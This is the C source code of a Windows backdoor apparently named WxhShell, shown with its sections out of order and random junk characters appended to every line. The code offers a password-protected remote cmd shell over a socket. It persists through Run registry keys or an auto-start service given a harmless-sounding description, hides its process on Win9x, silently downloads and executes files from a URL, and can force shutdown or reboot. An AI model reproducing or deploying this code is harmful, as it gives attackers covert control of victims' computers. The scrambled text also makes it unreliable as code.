    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w Q[|D2;  
    if(Boot(SHUTDOWN)) !` 1h *}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UIEvwQ  
    else { 2_pF#M9  
    closesocket(wsh); OH@"]Nc~  
    ExitThread(0); 6SCjlaGW5  
    }  /!ElAL  
    break; d.f0OhQ  
    } })O S2F  
  // 获取shell C@Wzg  
  case 's': { *fm?"0M5  
    CmdShell(wsh); 0#NMNZ  
    closesocket(wsh); {v*4mT  
    ExitThread(0); w9Yx2  
    break; P8c_GEna  
  } @_`r*Tb)dM  
  // 退出 5x@ U<  
  case 'x': { 7=fM}sk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4(\1z6?D  
    CloseIt(wsh); )#AYb   
    break; c^=q(V  
    } /K!)}f( 6  
  // 离开 #)S}z+I  
  case 'q': { `:lcN0n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "5eD >!  
    closesocket(wsh); r)S:= Is5  
    WSACleanup(); 1le9YL1_g  
    exit(1); ai;!Q%B#Q  
    break; I0Do%  
        } d*+}_EV)Y3  
  } &3/`cl[+  
  } s>;"bzzq  
O5du3[2x7a  
  // 提示信息 sA6HkB.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ScJ:F-@>  
} #4|RaI|.  
  } ?4SYroXUX|  
eQQVfEvS  
  return; 6No.2Oo  
} TJNE2  
m:Rx<E E  
// shell模块句柄 !& c%!*  
int CmdShell(SOCKET sock) -rsS_[$2  
{ ;2h"YU-b  
STARTUPINFO si; NH/jkt&F[  
ZeroMemory(&si,sizeof(si)); fXevr `  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~oOv/1v},  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rKPsv*w  
PROCESS_INFORMATION ProcessInfo; JK)|a@BtOT  
char cmdline[]="cmd"; '_g&!zi8~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w32F?78]  
  return 0; rREev  
} akw:3+`  
I-.? qcy~  
// 自身启动模式 &>B|?d  
int StartFromService(void) y~_x  
{ A f?&VD4K  
typedef struct jM*wm~4>@  
{ 5YZ\@<|rH  
  DWORD ExitStatus; WV}pE~  
  DWORD PebBaseAddress; EHe-wC  
  DWORD AffinityMask; m$Tt y[0  
  DWORD BasePriority; ]Gl_L7u`  
  ULONG UniqueProcessId; i_6wD  
  ULONG InheritedFromUniqueProcessId; yPbOiA*lHz  
}   PROCESS_BASIC_INFORMATION; K~L"A]+  
gKU*@`6G  
PROCNTQSIP NtQueryInformationProcess; ?fs#K;w  
XSZjuQ<[3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W6B o\UK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C~iFFh6:  
jaThS!>v  
  HANDLE             hProcess; 0A ~f ^  
  PROCESS_BASIC_INFORMATION pbi;  4z|Yfvq  
[0+5 Gx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d\z':d .Tt  
  if(NULL == hInst ) return 0; Q[O U`   
JvUHoc$sI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZG)C#I1;O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;`bJgSCfo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `~t$k7wm=  
Iq": U  
  if (!NtQueryInformationProcess) return 0; 7L:R&W6  
zGFW?|o<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sEfGf.  
  if(!hProcess) return 0; `V ++})5v  
X'bp?m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &4MVk3SLx#  
o9HDxS$~^  
  CloseHandle(hProcess); T{K+1SPy4  
b_Ky@kp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f4T-=` SO  
if(hProcess==NULL) return 0; A[':O*iB  
m9>nv rQ  
HMODULE hMod; Pq7tNM E  
char procName[255]; N<Q}4%^c  
unsigned long cbNeeded; ~KfjT p#  
LRd,7P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tT#Q`cB  
kAk,:a;P  
  CloseHandle(hProcess); U14dQ=~b/  
E.% F/mM  
if(strstr(procName,"services")) return 1; // 以服务启动 fW}H##b  
|QgXSe7  
  return 0; // 注册表启动 0_y%Qj^e  
} c!\y\r  
~O 6~',KD  
// 主模块 \M532_w  
int StartWxhshell(LPSTR lpCmdLine) }>XSp)"{l  
{ R +JI ?/H  
  SOCKET wsl; ze\~-0ks +  
BOOL val=TRUE; et ~gO!1:*  
  int port=0; 'IW+"o  
  struct sockaddr_in door; =L wX+c  
n0i&P9@B1  
  if(wscfg.ws_autoins) Install(); o%9>elOju  
?RzT0HRd  
port=atoi(lpCmdLine); 0 De M  
O.}gG6u5  
if(port<=0) port=wscfg.ws_port; | uZ=S]V@  
`U1%d7[vY  
  WSADATA data; aQmL=9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r;T/  
#f~a\}$I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l{a&Zy)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KE&}*Nf[  
  door.sin_family = AF_INET; W=\dsdnu*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C;) xjZiR  
  door.sin_port = htons(port); 2M#CJ&  
?(<AT]hV:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2!3&Ub#FO  
closesocket(wsl); ?W|IC8~d')  
return 1; 2!otVz! Mh  
} Z =c@Gd  
-d3y!| \>a  
  if(listen(wsl,2) == INVALID_SOCKET) { 66Xt=US  
closesocket(wsl); c-=0l)&'D=  
return 1; +=k|(8Js#  
} e d*AU,^@v  
  Wxhshell(wsl); G0Eq }MyF  
  WSACleanup(); ?.4l1X6Ba  
e`Yns$x  
return 0; FOA%( 5$4  
{LD8ie|x1`  
} NGY I%:  
,s76]$%4  
// 以NT服务方式启动 Mv=cLG?X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zNf5OItx  
{ "y0 A<-~  
DWORD   status = 0; W 8NA.  
  DWORD   specificError = 0xfffffff; %nh'F6bNgv  
UG_0Y8$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eFI4(Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xH[yIfHkG@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~`E4E  
  serviceStatus.dwWin32ExitCode     = 0; $IT9@}*{  
  serviceStatus.dwServiceSpecificExitCode = 0; kwR@oVR^  
  serviceStatus.dwCheckPoint       = 0; ZRm\d3x4  
  serviceStatus.dwWaitHint       = 0; |]cDz  
[]0~9,u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U9 *2< c  
  if (hServiceStatusHandle==0) return; <;e#"(7  
h,'+w  
status = GetLastError(); ?|GxVOl  
  if (status!=NO_ERROR) `=DCX%Vw  
{ r![JPhei  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a4RFn\4?  
    serviceStatus.dwCheckPoint       = 0; DZ.trtK  
    serviceStatus.dwWaitHint       = 0; 34Khg  
    serviceStatus.dwWin32ExitCode     = status;  7~nCK  
    serviceStatus.dwServiceSpecificExitCode = specificError; A_~5|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \=_q{  
    return; xN8JrZE&  
  } 9 /(c cj  
2] G$6H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ja- ~`  
  serviceStatus.dwCheckPoint       = 0; rI+w1';C1  
  serviceStatus.dwWaitHint       = 0; c@7hLUaE2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >1G*ya)  
} >wO$Vu `t  
Z[S+L"0  
// 处理NT服务事件,比如:启动、停止 %H@76NvEz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lY*]&8/=  
{ X\2hKUkT  
switch(fdwControl) ]=VS~azZ5  
{ A=d$ir K[  
case SERVICE_CONTROL_STOP: fbTw6Fde$  
  serviceStatus.dwWin32ExitCode = 0; :;;WK~* #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &MZy;Sq  
  serviceStatus.dwCheckPoint   = 0; PFy;qk  
  serviceStatus.dwWaitHint     = 0; #x@lZ!Y  
  { `{lAhZ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3`oU\r  
  } RrdtU7i3  
  return; (e3Gs+;  
case SERVICE_CONTROL_PAUSE: D>b5Uwt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A a} o*  
  break; #3yw   
case SERVICE_CONTROL_CONTINUE:  L|lmStwe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I cR;A\z  
  break; F0'A/T'ht  
case SERVICE_CONTROL_INTERROGATE: 0$L0fhw.  
  break; W#jZRviyq!  
}; Iei7!KLW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''OInfd?  
} \y H3Y  
t)gi.Ed1"L  
// 标准应用程序主函数 $W {yK+N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0SY f<$  
{ ]ZKt1@4AY  
Wd` QpW  
// 获取操作系统版本 C7 ]DJn  
OsIsNt=GetOsVer(); f UF;SqT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l P$r   
A?IZ( Zx(`  
  // 从命令行安装 fQW_YQsb  
  if(strpbrk(lpCmdLine,"iI")) Install(); {#1j"  
,> (bt%b  
  // 下载执行文件 33<fN:J]f  
if(wscfg.ws_downexe) { jxnQG A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I51oG:6fR?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5Hwo)S]r  
} YF! &*6m  
cF_;hD|YZ  
if(!OsIsNt) { _D>as\dP  
// 如果时win9x,隐藏进程并且设置为注册表启动 9jMC |oE  
HideProc(); O[(?.9  
StartWxhshell(lpCmdLine); 6i]Nr@1C  
} @Xve qUUU  
else %]chL.s  
  if(StartFromService()) b@wBR9s  
  // 以服务方式启动 UEEBWzH  
  StartServiceCtrlDispatcher(DispatchTable); S~k 0@  
else ~[zFQ)([  
  // 普通方式启动 {}g %"mi#  
  StartWxhshell(lpCmdLine); 1c)\  
Z#4JA/c!  
return 0; [arTx ^  
} >,>;)B@J  
5@ bc(H  
$bZu^d,  
 's>#8;X  
=========================================== : F7k{~  
-yC:?  
I(OAEIz  
O->_/_  
|;A9A's  
"WYA  
" NZo<IKD$  
]{IR&{EI-  
#include <stdio.h> ,4H;P/xsb  
#include <string.h> 8%o~4u3  
#include <windows.h> jDlA<1  
#include <winsock2.h> x7 "z(rKl  
#include <winsvc.h> (O8,zqP9l  
#include <urlmon.h> E tJ~dL)  
45x,|h[F{5  
#pragma comment (lib, "Ws2_32.lib") @J-plJ4e  
#pragma comment (lib, "urlmon.lib") 8yE!7$Mj  
5%<TF .;-J  
#define MAX_USER   100 // 最大客户端连接数 >vlQ|/C  
#define BUF_SOCK   200 // sock buffer 2c}B  
#define KEY_BUFF   255 // 输入 buffer ow2M,KU6Z  
Z0e-W:&;kF  
#define REBOOT     0   // 重启 a(8>n Z,V  
#define SHUTDOWN   1   // 关机 N0=-7wMk(Z  
7w "sJ  
#define DEF_PORT   5000 // 监听端口 X_D6eYF  
^DBD63 N"  
#define REG_LEN     16   // 注册表键长度 MWBXs7 5I  
#define SVC_LEN     80   // NT服务名长度 @&?a]>L  
|]^l^e 6m  
// 从dll定义API $"Afy)Ir  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <z^SZ~G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #hIEEkCp +  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1'NhjL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X(IyvfC  
/sy-;JDnsu  
// wxhshell配置信息 YMi/uy  
struct WSCFG { T`uDlo  
  int ws_port;         // 监听端口 XmP;L(wa   
  char ws_passstr[REG_LEN]; // 口令 mv{<'  
  int ws_autoins;       // 安装标记, 1=yes 0=no R;WW f.#  
  char ws_regname[REG_LEN]; // 注册表键名 J;S-+  
  char ws_svcname[REG_LEN]; // 服务名 -:MmSeG7gO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WPIZi[hBs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,ohmc\*J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (I[s3EnhS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \H^;'agA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2zhn`m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N8VVGPa  
4iwf\#  
}; +vf:z?I8  
y>`5Kyj3-@  
// default Wxhshell configuration :WVSJ,. !  
struct WSCFG wscfg={DEF_PORT, C#0brCQq3  
    "xuhuanlingzhe", sa G8g  
    1, E$ {J  
    "Wxhshell", B;V5x/  
    "Wxhshell", )#a7'Ba  
            "WxhShell Service", d,UCH  
    "Wrsky Windows CmdShell Service", sdrWOq  
    "Please Input Your Password: ", 8&%Cy'TIz4  
  1, "e@n:N!  
  "http://www.wrsky.com/wxhshell.exe", })P O7:  
  "Wxhshell.exe" J smB^  
    }; 8fh4%#,C%  
fH[Wkif  
// 消息定义模块 ;,k=<]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 33 : @*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 L:$aZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FI$XSG  
char *msg_ws_ext="\n\rExit."; UA0F):  
char *msg_ws_end="\n\rQuit."; o,1Dqg4P3  
char *msg_ws_boot="\n\rReboot..."; /D'M24  
char *msg_ws_poff="\n\rShutdown..."; myIe_k,F  
char *msg_ws_down="\n\rSave to "; d*2u}1Jo8  
*}w+ 68eO  
char *msg_ws_err="\n\rErr!"; GWdSSr>  
char *msg_ws_ok="\n\rOK!"; q*bt4,D&Es  
a~opE!|m  
char ExeFile[MAX_PATH]; i'=2Y9S}  
int nUser = 0; !p',Za   
HANDLE handles[MAX_USER]; b# u8\H  
int OsIsNt; +Ofa#^5);K  
/OG zt  
SERVICE_STATUS       serviceStatus; [pL*@9Sa&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R!6=7  
Zj!Abji=O  
// 函数声明 :^#vxdIC?  
int Install(void); 6e.[,-eU  
int Uninstall(void); f@d9Hqr+l;  
int DownloadFile(char *sURL, SOCKET wsh); JYJU&u  
int Boot(int flag); D"^'.DL@wG  
void HideProc(void); "(f`U.  
int GetOsVer(void); 64umul  
int Wxhshell(SOCKET wsl); uokc :D  
void TalkWithClient(void *cs); m*Cu-6&qd  
int CmdShell(SOCKET sock); S)7/0N79A  
int StartFromService(void); G\kpUdj}  
int StartWxhshell(LPSTR lpCmdLine); DpvrMI~I_  
t,HFz6   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )/>A6A:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z_&P?+"Df  
p!DP`Ouc3\  
// 数据结构和表定义 R\O.e  
SERVICE_TABLE_ENTRY DispatchTable[] = fd1C {^c  
{ ?lKhzH.T  
{wscfg.ws_svcname, NTServiceMain}, x)oRSsv!Tr  
{NULL, NULL} i=#F)AD^5#  
}; PVYyE3`UB  
[>Fm [5x  
// 自我安装 B<,YPS8w  
int Install(void) ;dZMa]X0  
{ >2lwWXA  
  char svExeFile[MAX_PATH]; :NE/Ddgc'  
  HKEY key; ;gB`YNL  
  strcpy(svExeFile,ExeFile); rQr!R$t/[  
D*2\{W/  
// 如果是win9x系统,修改注册表设为自启动 <]U1\~j  
if(!OsIsNt) { uM S*(L_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *9 D!A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \TbVS8e^  
  RegCloseKey(key); MKg,!TELe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #*^+F?o,(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Ef[c@3  
  RegCloseKey(key); 4XJiIa?  
  return 0; xDjV `E]  
    } nc?B6IV  
  } /nQ`&q  
} @PSLs *  
else { cUk*C  
]Kh2;>= Xj  
// 如果是NT以上系统,安装为系统服务 ]l;*$2w)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tef^ShF]  
if (schSCManager!=0) >: Wau  
{ (f#b7O-Wn  
  SC_HANDLE schService = CreateService NNkP\oh\  
  ( VaLs`q&3>  
  schSCManager, m_7 nz!h  
  wscfg.ws_svcname, j6YiE~  
  wscfg.ws_svcdisp, JAjku6  
  SERVICE_ALL_ACCESS, S Xr%kndS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *hY2.t; X  
  SERVICE_AUTO_START,  jNyoN1M  
  SERVICE_ERROR_NORMAL, jvwwJ<K  
  svExeFile, [f{VIE*?%  
  NULL, Lx[ ,Z,kD  
  NULL, .~D>5 JnEk  
  NULL, %,q. ),F  
  NULL, T.:+3:8|F  
  NULL zfI}Q}p  
  ); zI;0&  
  if (schService!=0) m$2<`C=  
  { &^.57]  
  CloseServiceHandle(schService); 9 c3E+  
  CloseServiceHandle(schSCManager); SNpi=K!yn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nE W31 8  
  strcat(svExeFile,wscfg.ws_svcname); 9S7A!AKE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H)(jh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n.}T1q|l  
  RegCloseKey(key); gAbD7SE  
  return 0; 8y2+&#$  
    } I PCGt{B~  
  } `BXS)xj  
  CloseServiceHandle(schSCManager); E/b"RUv}h  
} ml!5:r>  
} P 7D!6q  
kUl  
return 1; ^+|De}`u  
} &#{dWObh  
~N0 sJ%  
// 自我卸载 k!L@GQ  
int Uninstall(void) 1Y j~fb(  
{ t0E51Ic@  
  HKEY key; nms8@[4-  
o^p  
if(!OsIsNt) { @x&P9M0g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?h8{xa5b  
  RegDeleteValue(key,wscfg.ws_regname); O6s.<` \  
  RegCloseKey(key); evuZY X@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t#E}NR  
  RegDeleteValue(key,wscfg.ws_regname); Gu0 ,)jy\  
  RegCloseKey(key); 6dqsFns}e  
  return 0; % ZU/x d  
  } ro~+j}*   
} #s5N[uK^m  
} -7qIToO.  
else { xyh.N)  
:$3oFN*g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k ]a*&me  
if (schSCManager!=0) T]9\VW4  
{ ts~{w; c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G=9d&N  
  if (schService!=0) %3Z/+uT@v]  
  {  vb{i  
  if(DeleteService(schService)!=0) { 3,X/,'  
  CloseServiceHandle(schService); vw>jJ  
  CloseServiceHandle(schSCManager); ~%k?L4%  
  return 0; VyLH"cCv  
  } ?9+@+q  
  CloseServiceHandle(schService); WN]<q`.  
  } ` |Z}2vo;j  
  CloseServiceHandle(schSCManager); :3h{ A`u  
} i^`9syD  
} JH,/jR  
3INI?y}t   
return 1; iP@6hG`:  
} wucV_p.E  
YvL?j  
// 从指定url下载文件 tA.`k;LT  
int DownloadFile(char *sURL, SOCKET wsh) Ka!I`Yf  
{ tl yJmdl  
  HRESULT hr; l: |D,q  
char seps[]= "/"; k`KGB  
char *token; }ET,ysa  
char *file; +|cI:|H>  
char myURL[MAX_PATH]; } l 667N  
char myFILE[MAX_PATH]; KxGX\   
t0&@h\K  
strcpy(myURL,sURL); koG{ |elgB  
  token=strtok(myURL,seps); ,U,By~s  
  while(token!=NULL) R6;Phdh<>  
  { t:~t@4j}  
    file=token; .>g1 $rj  
  token=strtok(NULL,seps); 1 k8x%5p  
  } NR%Y+8^M  
Nil}js27  
GetCurrentDirectory(MAX_PATH,myFILE); RrrK*Fk8=  
strcat(myFILE, "\\"); [4Ll0GSp  
strcat(myFILE, file); <Q < AwP  
  send(wsh,myFILE,strlen(myFILE),0); +]xFoH  
send(wsh,"...",3,0); e'*HS7g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -!M,75nU  
  if(hr==S_OK) JNI>VP[c  
return 0; 5E\#%K[  
else ` m@U!X  
return 1; l U]un&[N  
FwAKP>6*  
} 2/P"7A=<  
U'( sn  
// 系统电源模块 .Ce8L&cU  
int Boot(int flag) |[xi/Q^7  
{ I+ l%Sn#\  
  HANDLE hToken; ] f>]n  
  TOKEN_PRIVILEGES tkp; q z&+=d@  
r{Rg920  
  if(OsIsNt) { &a)eJF]:!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -cF'2Sfr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <lxD}DH=  
    tkp.PrivilegeCount = 1; oP?YA-#nc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P'Q$d+F,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cr/`keR  
if(flag==REBOOT) { ws/63 d*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8y';\(;  
  return 0; m`? MV\^  
} \,UZX&ip  
else { 0[A9b,MMVO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9%)=`W  
  return 0; #C*8X+._y  
} E4.SF|=x  
  } M[ 5[N{  
  else { {U!St@  
if(flag==REBOOT) { .ae O}^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =nUW'  
  return 0; ,3DXFV'uxb  
} !G5a*8]  
else { O%!5<8Xrb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &xZyM@  
  return 0; g&/p*c_  
} V:NI4dv/R  
} 7cg*|E@  
U_yE& 6 T  
return 1; Wo$%9!W  
} + A_J1iJ<  
#!J(4tXny  
// win9x进程隐藏模块 RuW!*LI  
void HideProc(void) 4b]a&_-}  
{ xgsjm) )  
p\v Mc\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4pz|1Hw7  
  if ( hKernel != NULL ) h( QYxI,|  
  { ({}(qm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c>bq%}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f2)XP$:  
    FreeLibrary(hKernel); #S g\q8(O  
  } \g)Xt?w0Wo  
`:{B(+6  
return; w>?Un,K  
} hmbj*8  
k5d\ w@G"~  
// 获取操作系统版本 ?z-}>$I;  
int GetOsVer(void) woH)0v  
{ Zc& &[g  
  OSVERSIONINFO winfo; jMBiaX`F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5 +9 Ze9  
  GetVersionEx(&winfo); 7[v%GoE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) em@EDMvI  
  return 1; ]ekk }0  
  else Ft{[ae?4  
  return 0; 7iC *Pr  
} /Wk9-uH  
fg%&N2/(.B  
// 客户端句柄模块 /Poet%XvRx  
int Wxhshell(SOCKET wsl) jLg@FDb~  
{ }$su4A@0  
  SOCKET wsh; }`_@'4:t  
  struct sockaddr_in client; tYW>t9  
  DWORD myID; F-Z%6O,2  
~o3Hdd_#}N  
  while(nUser<MAX_USER) m,LG=s  
{ 8Ad606  
  int nSize=sizeof(client); ihL/n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `A%^UCd  
  if(wsh==INVALID_SOCKET) return 1; $*[{J+t_  
Ru!He,k7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nHFrG =o,  
if(handles[nUser]==0) n ?[/ufl  
  closesocket(wsh); 1tzV8(7  
else *2 "6fX[  
  nUser++; }H:F< z*  
  } tEd.'D8 s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oj.A,Fh  
c2l_$p  
  return 0; !%mAh81{&/  
} F#|O@.tDG  
1xyU  
// 关闭 socket k?nQ?B W  
void CloseIt(SOCKET wsh) B=L&bx  
{ 10Wz,vW,n  
closesocket(wsh); `WEZ"5n  
nUser--; tU wRE|_  
ExitThread(0); U09.Y  
} ;|%dY{L-  
^^` Jcd/  
// 客户端请求句柄 /{2*WI;  
void TalkWithClient(void *cs) "tit\a6\(  
{ {'+Q H)w(  
l2%bF8]z  
  SOCKET wsh=(SOCKET)cs; cNpe_LvW  
  char pwd[SVC_LEN]; ^he=)rBb?  
  char cmd[KEY_BUFF]; Q~D`cc|]  
char chr[1]; jd`},X/  
int i,j; u),Qa=Wp  
%b.UPS@I  
  while (nUser < MAX_USER) { FUK3)lT  
23(=Xp3;>  
if(wscfg.ws_passstr) { Bc-yxjsw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n@C~ev@%S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u]^N&2UW  
  //ZeroMemory(pwd,KEY_BUFF); b<I9 MR  
      i=0; a\uie$"cr]  
  while(i<SVC_LEN) { aFiCZHohw  
gQSNU_o Z  
  // 设置超时 U7mozHS,:9  
  fd_set FdRead; EY`H}S!xy  
  struct timeval TimeOut; 38V3o`f  
  FD_ZERO(&FdRead); egR9AEJvz  
  FD_SET(wsh,&FdRead); <<9Va.  
  TimeOut.tv_sec=8; f"#m=_Xm  
  TimeOut.tv_usec=0; F-(dRSDNM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^_I} x)i*@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R`Aj|C z  
fqz28aHh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +eQe%U  
  pwd=chr[0]; >4m'tZ8  
  if(chr[0]==0xd || chr[0]==0xa) { qVjWV$j  
  pwd=0; ;cQW sTfT  
  break; 2s*#u<I  
  } )o1eWL}  
  i++; 31^cz*V  
    } S,fCV~Cio?  
IJOvnZ("A  
  // 如果是非法用户,关闭 socket `"yxdlXA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?q`0ZuAg\<  
} z_;3H,z`  
5OIc(YhYf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q:>^ "P{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;:S&F  
F+UG'4%  
while(1) { DVZdClAL  
}F6<w{|  
  ZeroMemory(cmd,KEY_BUFF); VO3pm6r5  
C#rc@r,F  
      // 自动支持客户端 telnet标准   Mpue   
  j=0; h[KvhbD3   
  while(j<KEY_BUFF) { lA!"z~03*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D'<VYl"/  
  cmd[j]=chr[0]; gC%G;-gm  
  if(chr[0]==0xa || chr[0]==0xd) { ~8 H_u  
  cmd[j]=0; aIy*pmpD=  
  break; m8Vdb"0  
  } _i_Q?w`  
  j++; #TK~eHi  
    } x}/,yaWZ  
h!@|RW&}qX  
  // 下载文件 Zv]x'3J#Y  
  if(strstr(cmd,"http://")) { qL$a c}`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Jp&H\gI.  
  if(DownloadFile(cmd,wsh)) 5FVndMM#y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MvLs%GE%  
  else $yDWu"R8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S>G?Q_&}?D  
  } 'k;4j|<  
  else { `J<*9dq%  
e"]8T},  
